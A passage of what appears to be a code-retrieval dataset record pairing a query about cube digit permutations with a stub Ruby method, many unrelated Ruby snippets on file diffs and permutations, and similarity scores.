impacts_from(files_diffs)\n impacted_nodes = []\n impacted_services = []\n # List of impacted [cookbook, recipe]\n # Array< [Symbol, Symbol] >\n impacted_recipes = []\n impacted_global = false\n files_diffs.keys.sort.each do |impacted_file|\n case impacted_file\n when %r{^policyfiles/([^/]+)\\.rb$}, %r{^policyfiles/([^/]+)\\.lock.json$}\n log_debug \"[#{impacted_file}] - Impacted service: #{Regexp.last_match(1)}\"\n impacted_services << Regexp.last_match(1)\n when %r{^nodes/([^/]+)\\.json}\n log_debug \"[#{impacted_file}] - Impacted node: #{Regexp.last_match(1)}\"\n impacted_nodes << Regexp.last_match(1)\n else\n cookbook_path = known_cookbook_paths.find { |cookbooks_path| impacted_file =~ %r{^#{Regexp.escape(cookbooks_path)}/.+$} }\n if cookbook_path.nil?\n # Global file\n log_debug \"[#{impacted_file}] - Global file impacted\"\n impacted_global = true\n else\n # File belonging to a cookbook\n file_cookbook_name, file_path = impacted_file.match(%r{^#{cookbook_path}/(\\w+)/(.+)$})[1..2]\n cookbook = file_cookbook_name.to_sym\n # Small helper to register a recipe\n register = proc do |source, recipe_name, cookbook_name: cookbook|\n cookbook_name = cookbook_name.to_sym if cookbook_name.is_a?(String)\n log_debug \"[#{impacted_file}] - Impacted recipe from #{source}: #{cookbook_name}::#{recipe_name}\"\n impacted_recipes << [cookbook_name, recipe_name.to_sym]\n end\n case file_path\n when %r{recipes/(.+)\\.rb}\n register.call('direct', Regexp.last_match(1))\n when %r{attributes/.+\\.rb}, 'metadata.rb'\n # Consider all recipes are impacted\n Dir.glob(\"#{@repository_path}/#{cookbook_path}/#{cookbook}/recipes/*.rb\") do |recipe_path|\n register.call('attributes', File.basename(recipe_path, '.rb'))\n end\n when %r{(templates|files)/(.+)}\n # Find recipes using this file name\n included_file = File.basename(Regexp.last_match(2))\n template_regexp = /[\"']#{Regexp.escape(included_file)}[\"']/\n Dir.glob(\"#{@repository_path}/#{cookbook_path}/#{cookbook}/recipes/*.rb\") do |recipe_path|\n register.call(\"included file #{included_file}\", File.basename(recipe_path, '.rb')) if File.read(recipe_path) =~ template_regexp\n end\n when %r{resources/(.+)}\n # Find any recipe using this resource\n included_resource = \"#{cookbook}_#{File.basename(Regexp.last_match(1), '.rb')}\"\n resource_regexp = /(\\W|^)#{Regexp.escape(included_resource)}(\\W|$)/\n known_cookbook_paths.each do |cookbooks_path|\n Dir.glob(\"#{@repository_path}/#{cookbooks_path}/**/recipes/*.rb\") do |recipe_path|\n if File.read(recipe_path) =~ resource_regexp\n cookbook_name, recipe_name = recipe_path.match(%r{#{cookbooks_path}/(\\w+)/recipes/(\\w+)\\.rb})[1..2]\n register.call(\"included resource #{included_resource}\", recipe_name, cookbook_name: cookbook_name)\n end\n end\n end\n when %r{libraries/(.+)}\n # Find any recipe using methods from this library\n lib_methods_regexps = File.read(\"#{@repository_path}/#{impacted_file}\").scan(/(\\W|^)def\\s+(\\w+)(\\W|$)/).map { |_grp_1, method_name, _grp_2| /(\\W|^)#{Regexp.escape(method_name)}(\\W|$)/ }\n known_cookbook_paths.each do |cookbooks_path|\n Dir.glob(\"#{@repository_path}/#{cookbooks_path}/**/recipes/*.rb\") do |recipe_path|\n file_content = File.read(recipe_path)\n found_lib_regexp = lib_methods_regexps.find { |regexp| file_content =~ regexp }\n unless found_lib_regexp.nil?\n cookbook_name, recipe_name = recipe_path.match(%r{#{cookbooks_path}/(\\w+)/recipes/(\\w+)\\.rb})[1..2]\n register.call(\"included library helper #{found_lib_regexp.source[6..-7]}\", recipe_name, cookbook_name: cookbook_name)\n end\n end\n end\n when 'README.md', 'README.rdoc', 'CHANGELOG.md', '.rubocop.yml'\n # Ignore them\n else\n log_warn \"[#{impacted_file}] - Unknown impact for cookbook file belonging to #{cookbook}\"\n # Consider all recipes are impacted by default\n Dir.glob(\"#{@repository_path}/#{cookbook_path}/#{cookbook}/recipes/*.rb\") do |recipe_path|\n register.call('attributes', File.basename(recipe_path, '.rb'))\n end\n end\n end\n end\n end\n\n # Devise the impacted services from the impacted recipes we just found.\n impacted_recipes.uniq!\n log_debug \"* #{impacted_recipes.size} impacted recipes:\\n#{impacted_recipes.map { |(cookbook, recipe)| \"#{cookbook}::#{recipe}\" }.sort.join(\"\\n\")}\"\n\n recipes_tree = full_recipes_tree\n [\n impacted_nodes,\n (\n impacted_services +\n # Gather the list of services using the impacted recipes\n impacted_recipes.map do |(cookbook, recipe)|\n recipe_info = recipes_tree.dig cookbook, recipe\n recipe_info.nil? ? [] : recipe_info[:used_by_policies]\n end.flatten\n ).sort.uniq,\n impacted_global\n ]\n end", "def relation_change_operations\n return [{}, {}] unless relation_changes?\n\n additions = []\n removals = []\n # go through all the additions of a collection and generate an action to add.\n relation_updates.each do |field, collection|\n if collection.additions.count > 0\n additions.push Parse::RelationAction.new(field, objects: collection.additions, polarity: true)\n end\n # go through all the additions of a collection and generate an action to remove.\n if collection.removals.count > 0\n removals.push Parse::RelationAction.new(field, objects: collection.removals, polarity: false)\n end\n end\n # merge all additions and removals into one large hash\n additions = additions.reduce({}) { |m, v| m.merge! v.as_json }\n removals = removals.reduce({}) { |m, v| m.merge! v.as_json }\n [additions, removals]\n end", "def define_operations\n # Starting point of potential difference (end of last match, or start\n # of string)\n @position_in_old = @position_in_new = 0\n @operations = []\n\n @matching_blocks.each do |match|\n create_operation_from(match)\n end\n end", "def parse_diff\n # If there is a file, do some initialisation\n file_obj = File.new(@diff_filename, \"r\")\n temp_a = temp_r = nil \n \n # Then for each line found on the diff file\n # Do some bucket-ing between added and removed\n file_obj.each do |line|\n \n line = line.chomp!\n if line.match $regexes[:diff_info]\n # We are doing this 'diff' block-by-block \n # As initially it is planned to cross-reference the added/removed right per block \n # as it is easier and cheaper. Well, this structure is retained if we decided to have \n # 'extra' action when we finish with a 'diff' block\n # Pushing the temporary 'lines' back to where it should belong\n @added_lines.concat temp_a unless temp_a == nil\n @removed_lines.concat temp_r unless temp_r == nil\n \n # reset the temporary variable\n temp_a = []\n temp_r = []\n end #End if line.match $regexes[:diff_info]\n \n processed_line = \"\"\n if line.start_with? \">\", \"<\"\n sign = line.slice!(0).chr\n processed_line = line.strip.chomp\n \n # Get me out of here, comment is useless for this.\n next unless !processed_line.start_with? \"#\" \n \n if sign == \">\"\n # Should be put under added temporarily\n temp_a.push processed_line\n elsif sign == \"<\"\n # Should be put under removed temporarily\n temp_r.push processed_line\n end\n end #End if line.start_with? \">\", \"<\"\n end #End for-each\n end", "def get_patch_files(filepath)\n files = Array.new\n p \"==========\"\n p \"patch file for vul: \" + filepath\n begin\n File.foreach(filepath) do |line|\n # p \"patch-> \" + line\n files.push(line)\n end\n rescue SystemCallError => e\n puts %Q(class=[#{e.class}] message=[#{e.message}])\n end\n return files\n end", "def check_files(files)\r\n files_before = @file_info.keys\r\n used_files = {} \r\n files.each do |file|\r\n begin\r\n if @file_info[file]\r\n if @file_info[file].timestamp != File.mtime(file)\r\n @file_info[file].timestamp = File.mtime(file)\r\n digest = calc_digest(file)\r\n if @file_info[file].digest != digest\r\n @file_info[file].digest = digest \r\n @file_changed && @file_changed.call(file)\r\n end\r\n end\r\n else\r\n @file_info[file] = FileInfo.new\r\n @file_info[file].timestamp = File.mtime(file)\r\n @file_info[file].digest = calc_digest(file)\r\n @file_added && @file_added.call(file)\r\n end\r\n used_files[file] = true\r\n # protect against missing files\r\n rescue Errno::ENOENT\r\n # used_files is not set and @file_info will be removed below\r\n # notification hook hasn't been called yet since it comes after file accesses\r\n end\r\n end\r\n files_before.each do |file|\r\n if !used_files[file]\r\n @file_info.delete(file)\r\n @file_removed && @file_removed.call(file)\r\n end\r\n end\r\n end", "def file_changes?\n all_files = git.modified_files + git.added_files\n Danger::Changelog::Config.ignore_files.each do |f|\n all_files.reject! { |modified_file| f.is_a?(Regexp) ? f.match?(modified_file) : f == modified_file }\n break if all_files.empty?\n end\n all_files.any?\n end", "def functionals_changed_tests(test_changed_files, t)\n test_changed_files = test_changed_files.split(\"\\n\") if test_changed_files.is_a?(String)\n test_files = FileList['test/functional/**/*_test.rb'].select{|file| test_changed_files.any?{|changed_file| file==changed_file }}\n test_files = test_files.uniq\n test_files = test_files.reject{ |f| Smokescreen.critical_tests.include?(f) }\n\n t.libs << \"test\"\n t.verbose = true\n if !test_files.empty?\n t.test_files = test_files\n else\n t.test_files = []\n end\n end", "def check_update_assembly_files(files=self.find_assembly_files)\n update = Hash.new\n files.each do |file_type, file_hash|\n file_path = file_hash[\"path\"]\n file_vendor = file_hash[\"vendor\"]\n # returns an array\n filename = File.basename(file_path)\n af = AssemblyFile.find_by_name(filename)\n\n if !af.nil? then\n if af.location != file_path or af.file_type != file_type then\n\t #logger.debug(\"updating file #{file_path} #{af.inspect}\")\n\t update[af.id] = Hash.new\n update[af.id]['path'] = file_path\n\t update[af.id]['type'] = file_type\n\t update[af.id]['vendor'] = file_vendor\n\tend\n end\n\n end\n\n return update\n end", "def changed_fields\n items = @resource.changed_from_previous_curated\n return ['none'] unless items.present?\n\n items\n end", "def modified; status[:modified] || []; end", "def find_same_files\n # loop over find_similar_files groups\n # diff -b file1 file2\n end" ]
[ "0.6449585", "0.6340694", "0.631906", "0.6309208", "0.62062526", "0.61406773", "0.61399007", "0.6086273", "0.6080431", "0.6038805", "0.5992132", "0.59891677", "0.5987526", "0.59845185", "0.5922073", "0.5875331", "0.58538514", "0.58511543", "0.58394665", "0.5826469", "0.5814386", "0.5814386", "0.5791069", "0.5787131", "0.57365274", "0.57254195", "0.5723865", "0.57236344", "0.5723528", "0.5711516", "0.5677468", "0.5669845", "0.5650814", "0.56109697", "0.5594134", "0.55698955", "0.55559754", "0.55551493", "0.548547", "0.54246205", "0.5414577", "0.54022944", "0.5395431", "0.53862494", "0.5380632", "0.53710407", "0.5366952", "0.5357231", "0.5333038", "0.5318433", "0.53125995", "0.52971786", "0.52908283", "0.5290395", "0.5286468", "0.5285761", "0.5274079", "0.52619064", "0.52484244", "0.5233476", "0.52318084", "0.52119356", "0.5210345", "0.5201586", "0.51940835", "0.5187857", "0.51817316", "0.51727825", "0.51702285", "0.516074", "0.51212597", "0.51174504", "0.51174295", "0.5113793", "0.510688", "0.5102611", "0.5100856", "0.5100856", "0.5100536", "0.5084872", "0.50847715", "0.5077635", "0.5049945", "0.50312436", "0.50311476", "0.5027189", "0.5024945", "0.501462", "0.50143445", "0.5011096", "0.5003551", "0.4996806", "0.49949262", "0.49888587", "0.49839288", "0.49775448", "0.4975331", "0.4973449", "0.49733606", "0.49524257" ]
0.73299044
0
find the smallest cube such that five permutations of its digits are cube perms holds all the permutations remaining holds the array without the processed elements processed holds the array without the remaining elements
def permutations(perms, digits) counts = Array.new(digits.size, 0) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def solve\n perms = (1..9).to_a.permutation.map {|p| p.join}\n prods = []\n\n perms.each do |p|\n (1..2).each do |len|\n a, b, c = p[0, len].to_i, p[len..4].to_i, p[5, 4].to_i\n prods << c if a * b == c\n end\n end\n \n prods.uniq.reduce( :+ )\n end", "def permuted_nums()\r\n\t# *2...*6 must have the same digits (and length) as the original.\r\n\t# That's why the first character must be 1.\r\n\t# And the second character must be less that 7.\r\n\trunner = 123455\r\n\tmax = 170000\r\n\twhile runner < max\r\n\t\trunner += 1\r\n\t\t\r\n\t\tmult_count = 1\r\n\t\t(2..6).each{ |mult_num| \r\n\t\t\ttmp = runner * mult_num\r\n\t\t\t\r\n\t\t\tif !is_permutation_of(tmp, runner)\r\n\t\t\t\tbreak\r\n\t\t\tend\r\n\t\t\tif mult_num == 6\r\n\t\t\t\treturn runner\r\n\t\t\tend\r\n\t\t\tmult_count += 1\r\n\t\t}\r\n\tend\r\n\tputs ''\r\n\treturn false\r\nend", "def permutations(arr)\n # return nil if arr.empty?\n return [arr] if arr.length == 1\n # grab first element to append to all perms of smaller array\n first_el = arr.shift\n # get permutations of shrunken array\n subset_perms = permutations(arr)\n total_permutations = []\n # iterate through all smaller perms\n subset_perms.each do |sub|\n # add first element to all possible indices of perms array\n # and add to total_perms array\n (0..sub.length).each do |i|\n subset = sub[0...i] + [first_el] + sub[i..-1]\n total_permutations << subset\n end\n end\n total_permutations\nend", "def solution(a)\n # write your code in Ruby 2.2\n \n is_perm = 0\n \n n = a.length\n b = [0]*n\n \n \n a.each do |v|\n break if v > n \n break if b[v] == 1 \n b[v] = 1\n end\n \n sum = b.inject(:+)\n if sum == n\n is_perm = 1\n end\n \n is_perm\nend", "def getPermutations3(s,perm=[])\n subresult = getPermutations2(s[1..3])\n subresult.each do |item|\n perm.push(item.insert(0,s[0]))\n end\n if perm.length >= factorial(s.length)\n return perm\n else\n s = rotateChar(s)\n getPermutations3(s,perm)\n end\nend", "def solve( n = 16 )\n max = 0\n \n (1..10).each do |a|\n (1..10).each do |b|\n next if b == a\n (1..10).each do |c|\n next if c == b || c == a\n (1..10).each do |d|\n next if d == c || d == b || d == a\n (1..10).each do |e|\n next if e == d || e == c || e == b || e == a\n\n rotate = 3*[a, b, c, d, e].each_with_index.min[1]\n (1..10).each do |f|\n next if f == e || f == d || f == c || f == b || f == a\n (1..10).each do |g|\n next if g == f || g == e || g == d || g == c || g == b || g == a\n \n t = a + f + g\n (1..10).each do |h|\n next if h == g || h == f || h == e || h == d || h == c || h == b || h == a\n next unless t == b + g + h\n\n (1..10).each do |i|\n next if i == h || i == g || i == f || i == e || i == d || i == c || i == b || i == a\n next unless t == c + h + i\n\n (1..10).each do |j|\n next if j == i || j == h || j == g || j == f || j == e || j == d || j == c || j == b || j == a\n next unless t == d + i + j && t == e + j + f\n\n s = [a, f, g, b, g, h, c, h, i, d, i, j, e, j, f]\n rotate.times {s.push s.shift}\n\n s = s.join\n next if n != s.length\n\n max = [max, s.to_i].max\n end\n end\n end\n end\n end\n end\n end\n end\n end\n end\n\n max\n end", "def permutations(array)\n \nend", "def PermutationStep(num)\n possibilities = []\n possibilities = num.to_s.chars.map(&:to_i).permutation.to_a\n possibilities.reject! {|comb| comb.join.to_i <= num}\n possibilities.map! {|comb| comb.join.to_i}\n possibilities.empty? ? -1 : possibilities.min\nend", "def find_mult_3(num)\n nums = num.digits\n i = 1\n array = []\n until i > nums.count\n a = nums.permutation(i).to_a.map{ |num| num.join.to_i }\n b = a.select{|num| num != 0 && num % 3 == 0}\n array << b.uniq\n i += 1\n end\n result = array.flatten.uniq\n return [result.count, result.max]\nend", "def min_permutation n\n n.to_s.chars.sort.join.to_i\nend", "def permutations(array)\n\nend", "def permutations(array)\n\nend", "def permutations(array)\n\nend", "def permutations(array)\n\nend", "def q(a);a.permutation;end", "def pile_of_cubes(m)\n n = 1\n n^3\n n^3 + (n+1)^3\n n^3 + (n+1)^3 + (n+2)^3\n\n\n # check m against 1^3\n # check m against 1^3 + 2^3\n # check m against 1^3 + 2^3 + 3^3...\n\n\nend", "def validSolution(board)\n array_of_boxes = Array.new\n box = Array.new\n i = 0\n\n add_box_array = lambda do\n 3.times do\n 3.times do\n row = board[i]\n box.push(row[0]).push(row[1]).push(row[2])\n i += 1\n end\n\n array_of_boxes << box\n box = Array.new\n end\n end\n\n reset_and_rotate = lambda do\n i = 0\n board.each{ |row| row.rotate!(3) }\n end\n\n add_reset_rotate = lambda do\n add_box_array.call\n reset_and_rotate.call\n end\n\n 2.times {add_reset_rotate.call}\n add_box_array.call\n all_possible_arrays = (1..9).to_a.permutation.to_a\n\n # each row & each column is a unique permutation of base_array\n board.all?{ |row| all_possible_arrays.include?(row) } &&\n board.uniq.size == 9 &&\n board.transpose.all?{ |column| all_possible_arrays.include?(column) } &&\n board.transpose.uniq.size == 9 &&\n array_of_boxes.all? { |box| all_possible_arrays.include?(box) }\nend", "def prmutation(num)\n factrl(num)\nend", "def cp1\n\tnumPerm = []\n\tpermPrime = true\n\ttotal = 0;\n\t100.upto(200) do |x|\n\t\t#if (x % 1000 == 0) then p x end\n\t\tif(isPrime(x) == false) then next end\n\t\tnumPer = splitNumberifOdd(x)\n\t\tif(numPer == false) then next end\n\t\tnumPer = numPer.permutation().to_a\n\t\tnumPer = numPer.map {|y| y.join.to_i}\n\t\tpermPrime = true\n\t\tnumPer.each do |perm|\n\t\t\t#printf \"checking %s \\n\", perm\n\t\t\tif(isPrime(perm) == false) then permPrime = false; printf \"x %d- failed %d \\n\",x, perm; break end\n\t\tend\n\t\t#p permPrime\n\t\tif (permPrime == true) then total = total + 1; p x end\n\tend\n\ttotal + 13\nend", "def permutation(array)\n return array if array.length == 1\n\n smaller = permutation(array[0...-1])\n combination_array = []\n (smaller.length + 1).times do |index|\n combination_array += smaller.dup.insert(index, array[-1])\n # debugger\n end\n combination_array\nend", "def permutations(array)\n results = []\n\n 1000.times do \n premutation = array.shuffle\n results << array << premutation\n end\n\n results.uniq.sort\nend", "def solution(number)\r\n (3...number).each_with_object([]) { |n, arr| arr << n if (n % 3).zero? || (n % 5).zero? }.uniq.sum\r\nend", "def get_signed_permutations(n)\r\n numbers = (-n..n).to_a\r\n numbers.delete(0)\r\n perms = numbers.permutation(n).to_a\r\n perms = perms.select{|item| item.map{|subitem|subitem.abs()}.uniq.length == item.length}\r\n return perms.uniq\r\nend", "def problem_60a\n num_cut = 5\n# simple\n pairs = {}\n seen_primes = []\n num_primes = 0\n last = start = Time.now\n Primes.each do |p|\n next if p == 2\n b = p.to_s\n seen_primes.each_index do |sp_i|\n sp = seen_primes[sp_i]\n a = sp.to_s\n ai,bi = a.to_i,b.to_i\n ab = (a + b).to_i\n ba = (b + a).to_i\n\n if ba.prime? && ab.prime?\n # We have a pair that works both ways so add the peer to each prime\n pairs[ai] = aa = ((pairs[ai] || []) << bi).uniq\n pairs[bi] = bb = ((pairs[bi] || []) << ai).uniq\n next unless pairs[bi].length >= num_cut - 1 # bi is biggest of pair\n\n check = ([ai] + aa) & ([bi] + bb)\n if check.length >= num_cut\n puts \"Try #{check.inspect}\"\n perm = check.permutation(2).to_a\n new = perm.select do |x,y|\n (x.to_s + y.to_s).to_i.prime? && (x.to_s + y.to_s).to_i.prime?\n end\n if new.length == perm.length\n n = new.flatten.uniq\n sum = n.reduce(&:+)\n puts \"#{n.inspect} *** #{sum}\"\n return sum\n end\n end\n end\n end\n seen_primes << p\n end\n nil\nend", "def quad(max)\n a = 0\n b = 0\n i = -max\n arr = []\n ((max*2)+1).times do\n arr << i\n i += 1\n end\n perms = arr.permutation(2).to_a\n print perms\n output = 0\n which = []\n perms.each { |a, b|\n n = 0\n output = (n**2) + (a * n) + b\n until is_prime?(output) == false\n n += 1\n output = (n**2) + (a * n) + b\n end\n which << [n, a, b]\n }\n print which\n which.max_by { |a| a.max }\nend", "def ptn(a)\n if a.size == 1 then\n return [a]\n end\n ret = Array.new\n # 重ならないパターン\n ret += a.perms\n # 重なるパターン\n h1 = Hash.new\n for i in 0..a.size - 1\n for j in i + 1..a.size - 1\n key = [a[i], 0, a[j]].to_s\n if !h1.key?(key) then\n h1.store(key, nil)\n h2 = Hash.new\n # a[i]とa[j]を範囲をずらしながら重ねる\n for k in 0..a[i].size + a[j].size\n t = [0] * a[j].size + a[i] + [0] * a[j].size\n for m in 0..a[j].size - 1\n t[k + m] += a[j][m]\n end\n # 余分な0を取り除く\n t.delete(0)\n # 4より大きい値がないかチェック\n next if t.any? {|v| v > 4}\n # 9より長くないかチェック\n next if t.size > 9\n # 重複チェック\n if !h2.key?(t.to_s) then\n h2.store(t.to_s, nil)\n # 残り\n t2 = a.dup\n t2.delete_at(i)\n t2.delete_at(j - 1)\n # 再帰呼び出し\n ret += ptn([t] + t2)\n end\n end\n end\n end\n end\n return ret\nend", "def nth_permutation(number_of_permutations)\n\t\tpermutation_array = []\n\t\tnumber_of_permutations -= 1 # assuming we start from the first permutation rather than the zeroth\n\t\twhile lexographic_array.length > 0\n\t\t\tindex = number_of_permutations / (lexographic_array.length - 1).factorial\n\t\t\tnumber_of_permutations %= (lexographic_array.length - 1).factorial\n\t\t\tpermutation_array.push(lexographic_array.delete_at(index))\n\t\tend\n\t\tpermutation_array\n\tend", "def permutations(array)\n return [array] if array.length == 1\n\n perms = []\n array.each do |el|\n dupped = array.dup\n dupped.delete(el)\n permutations(dupped).each { |perm| perms << [el] + perm }\n end\n\n perms\nend", "def perms(arr)\n result = []\n all_perms(arr, 0, result)\nend", "def permute(arr)\n return [array] if array.length <= 1\n\n first = array.shift\n perms = permute(array)\n total_permutations = []\n \n \n # Now we iterate over the result of our recusive call say [[1, 2], [2, 1]]\n # and for each permutation add first into every index. This new subarray\n # gets added to total_permutations.\n perms.each do |perm|\n (0..perm.length).each do |i|\n total_permutations << perm[0...i] + [first] + perm[i..-1]\n end\n end\n total_permutations\nend", "def lexicographic_permutations\n a=Array.new\n (1..self.length.factorial).each { |i| a << self.lexicographic_permutation(i) }\n a\n end", "def permutations(array)\n return [array] if array.length == 1\n\n first = array.shift\n\n perms = permutations(array)\n total_permutations = []\n perms.each do |perm|\n (0..perm.length).each do |i|\n total_permutations << perm[0...i] + [first] + perm[i..-1]\n end\n\n end\n total_permutations\nend", "def problem_108(size = 1001)\n func = lambda do |a|\n if a.length == 1\n a[0]+1\n else\n m = a[0]\n (2*m+1) * func.call(a[1,a.length]) -m\n end\n end\n\n primes = Primes.upto(200)\n prime_number = lambda do |a|\n r = 1\n a.sort.reverse.each_with_index { |m,i| r *= primes[i] ** m }\n r\n end\n\n values = {}\n last = 0\n 1.upto(100).each do |nn|\n nn.groupings do |a|\n sols = func.call a\n ans = prime_number.call a\n# puts \"np=#{nn} sols=#{sols} ans=#{ans} => #{a.inspect}\"\n if values[sols]\n values[sols] = [values[sols],[ans,a]].min\n else\n values[sols] = [ans,a]\n end\n true\n end\n size.upto(size*5/4) do |num|\n if values[num]\n puts \"for np = #{nn} => #{num} => #{values[num].inspect}\"\n if last == values[num]\n puts \"factors = #{values[num][0].factors}\"\n return values[num][0] \n end\n last = values[num]\n break\n end\n end\n #values.sort.each do |k,v|\n # puts \"#{k} => #{v}\"\n #end\n end\n nil\nend", "def permutation(array)\n answer_arr = []\n return array if array.length == 1\n array.each_index do |i|\n perm = permutation(array - [array[i]])\n perm.each do |el|\n answer_arr << ([array[i]] + [el]).flatten\n end\n perm.each do |el|\n answer_arr << ([el] + [array[i]]).flatten\n end\n end\n answer_arr.uniq\nend", "def permutation (array)\n# yields permutation set WITH duplicates\nend", "def pythagoreans (n)\n return (1..n).to_a.permutation(3).to_a.select { |a,b,c| a**2 + b**2 == c**2 }.each(&:sort!).uniq\nend", "def permutations(array)\n return [array] if array.length <= 1\n\n first = array.shift\n perms = permutations(array)\n\n total_permutations = []\n\n perms.each do |perm|\n (0..perm.length).each do |i|\n total_permutations << perm[0...i] + [first] + perm[i..-1]\n end\n end\n\n total_permutations\nend", "def permutations(array)\n return [array] if array.length <= 1\n start = array.shift\n perm = permutations(array)\n total_perms = []\n perm.each do |perms|\n (0..perm.length).each do |i|\n total_perms << perms[0...i] + [start] + perms[i..-1]\n end\n end\n total_perms\nend", "def p1\n perm \" 1 2 4 3 4 3 5 6 \"\nend", "def permutations(array)\n debugger\n return [array] if array.length <= 1\n # pop off the last element\n first = array.shift\n # make the recursive call\n perms = permutations(array)\n # we will need an array to store all our different permutations\n total_permutations = []\n\n\n # Now we iterate over the result of our recusive call say [[1, 2], [2, 1]]\n # and for each permutation add first into every index. This new subarray\n # gets added to total_permutations.\n perms.each do |perm|\n (0..perm.length).each do |i|\n total_permutations << perm[0 ... i] + [first] + perm[i .. -1]\n end\n end\n total_permutations\nend", "def permutation_number\n number = 0\n unused = Array.new(@@size, true)\n (1..@@size).each do |i|\n l = 1\n j = 1\n while j != @state_array[i - 1] do\n l += 1 if unused[j - 1]\n j += 1\n end\n number += (l - 1) * (@@size - i).factorial\n unused[@state_array[i - 1] - 1] = false\n end\n return number\n end", "def permutation_threshold\n available_letters_permutations = ('A'..'Z').to_a.size**2\n available_numbers_permutations = (0..9).size**3\n available_letters_permutations * available_numbers_permutations\n end", "def permutations(array)\n return [array] if array.length <= 1\n\n first = array.shift\n perms = permutations(array)\n total_permutations = []\n\n perms.each do |perm|\n (0..perm.length).each do |i|\n total_permutations << perm.take(i) + [first] + perm.drop(i)\n end\n end\n total_permutations\nend", "def cp2\n\trot1= []\n\trot2 = []\n\tpermPrime = true\n\ttotal = 0;\n\t1.upto(1000000) do |x|\n\t\t#if (x % 1000 == 0) then p x end\n\t\tif(isPrime(x) == false) then next end\n\t\trot1 = splitNumber(x)\n\t\trot1.rotate!\n\t\tprintf \"\\nChecking %d, rot1 = %s\", x, rot1\n\t\trot2 = rot1.rotate(-2).dup\n\t\t#numRot = numRot.map {|y| y.join.to_i}\n\t\tprintf \" - rot2 = %s\", rot2\n\t\tpermPrime = true\n\t\t#numRot.each do |perm|\n\t\t\t#printf \"checking %s \\n\", perm\n\t\tif(isPrime(rot1.join.to_i) == false) then permPrime = false; next end\n\t\tif(isPrime(rot2.join.to_i) == false) then permPrime = false; next end\n\t\t#end\n\t\t#p permPrime\n\t\ttotal = total + 1\n\t\tprintf \" -- x = %d\\n\", x\n\tend\n\ttotal\nend", "def lexi(*args)\n digits = Array.new\n args.each { |x|\n digits << x\n }\n n = digits.length\n perms = Array.new\n i = 0\n n.times do\n perm = Array.new(n, 0)\n perm[0] = digits[i]\n j = 1\n i = j\n (n - j).times do\n perm[j] = digits[i]\n i += 1\n end\n i += 1\n perms << perm\n end\n perms\nend", "def pe50v2()\n\ta = sieveOfErathosthenes(3990)\n\tprim,total,count = [], 0, 0\n\ta.each_with_index do |x, index|\n\t\tif x \n\t\t\ttotal += index\n\t\t\tcount += 1 \n\t\t\tprim.push([total,count])\n\t\tend\n\tend\n\t#p prim\n\tmax = 0\n\tthePrime = 0\n\tseq = prim.map {|k| k }.permutation(2).to_a.each {|x| x.flatten!}\n\tseq.each do |a, b, c , d| \n\t\t#printf \"%d %d %d %d\\n\", a, b, c, d\n\t\te = a - c\n\t\tif(Prime.prime?(e)) then\n\t\t\tif(max < b - d) then\n\t\t\t\tmax = b - d\n\t\t\t\tthePrime = e\n\t\t\t\tprintf \"prime %d with max %d\\n\",e,max\n\t\t\tend\n\t\tend\n\tend\n\tprintf \"the prime is %d with a seqence of %d\\n\",thePrime, max\nend", "def permutation_step(num)\r\n perms = num.to_s.chars.map {|x| x.to_i}.permutation.to_a.map do |perm_arr|\r\n perm_arr.map {|x| x.to_s}.join.to_i\r\n end\r\n\r\n perms.select {|n| n > num}.min.nil? ? -1 : perms.select {|n| n > num}.min\r\nend", "def solution(a)\n # write your code in Ruby 2.2\n permutation = Array(1..a.size)\n # puts permutation\n return 1 if permutation - a == []\n 0\nend", "def num_creator_2()\n\tlist_of_pandigs = [1,21,321,4321,54321,654321,7654321,87654321,987654321]\n\tlist_of_all_permutations = []\n\n\tlist_of_pandigs.each do |pandig|\n\t\ttemp_list = []\n\t\tpandig.to_s.each_char do |char|\n\t\t\ttemp_list << char.to_i\n\t\t\tlist_of_all_permutations << temp_list.permutation(temp_list.count).to_a\n\t\tend\n\tend\n\tclean_list = []\n\n\tlist_of_all_permutations.each do |perm|\n\t\tperm.each do |perm2|\n\t\t\t# if is_pandigital(perm2, pandigidictcreator()) == true\n\t\t\t\tclean_list << perm2.join()\n\t\t\t# end\n\t\tend\n\t\t# p perm\n\tend\n\treturn clean_list\nend", "def permutations(arr)\n return [arr] if arr.length <= 1\n\n first = arr.shift\n perms = permutations(arr)\n total_perms = []\n\n perms.each do |perm|\n (0..perm.length).each do |i|\n total_perms << perm[0...i] + [first] + perm[i..-1]\n end\n end\n\n total_perms.sort\nend", "def min_permutations(arr)\n # treat each permutation as a node in a graph\n # use BFS to find target\n target = arr.sort\n queue = [{ perm: arr, count: 0 }]\n discovered = { arr => true }\n loop do\n node = queue.shift\n return -1 if node.empty? # should not be here\n\n return node[:count] if node[:perm] == target\n\n 0.upto(arr.length - 1) do |i|\n (i + 1).upto(arr.length - 1) do |j|\n other_node = { perm: reverse_array(node[:perm], i, j), count: node[:count] + 1 }\n next if discovered[other_node[:perm]]\n\n queue << other_node\n discovered[other_node[:perm]] = true\n end\n end\n end\nend", "def custom_primer_exp_2\n [[0,0],[0,1],[0,2],[0,3],[0,4],[0,5],[0,6],[0,7],[0,8],[0,9],\n [4,0],[4,1],[4,2],[4,3],[4,4],[4,5],[4,6],[4,7],[4,8],[4,9],\n [1,0],[1,1],[1,2],[1,3],[1,4],[1,5],[1,6],[1,7],[1,8],[1,9],\n [5,0],[5,1],[5,2],[5,3],[5,4],[5,5],[5,6],[5,7],[5,8],[5,9],\n [2,0],[2,1],[2,2],[2,3],[2,4],[2,5],[2,6],[2,7],[2,8],[2,9],\n [6,0],[6,1],[6,2],[6,3],[6,4],[6,5],[6,6],[6,7],[6,8],[6,9]] \n end", "def acct_groups(array)\n group_1 = []\n group_2 = []\n group_3 = []\n group_4 = []\n group_5 = []\n group_6 = []\n group_7 = []\n group_8 = []\n group_9 = []\n group_10 = []\n prime_group = []\n\n i = 0\n while i < array.length\n if (i % 3 == 0) && !(i % 4 == 0) && !(i % 6 == 0) && !(i % 7 == 0) && !(i % 11 == 0) && !(i % 13 == 0)\n group_1 << array[i]\n elsif (i % 4 == 0) && !(i % 5 == 0) && !(i % 6 == 0) && !(i % 7 == 0) && !(i % 11 == 0) && !(i % 13 == 0)\n group_2 << array[i]\n elsif (i % 5 == 0) && !(i % 6 == 0) && !(i % 7 == 0) && !(i % 11 == 0) && !(i % 13 == 0)\n group_3 << array[i]\n elsif (i % 6 == 0) && !(i % 7 == 0) && !(i % 11 == 0) && !(i % 13 == 0)\n group_4 << array[i]\n elsif (i % 7 == 0) && !(i % 11 == 0) && !(i % 13 == 0)\n group_5 << array[i]\n elsif i % 11 == 0\n 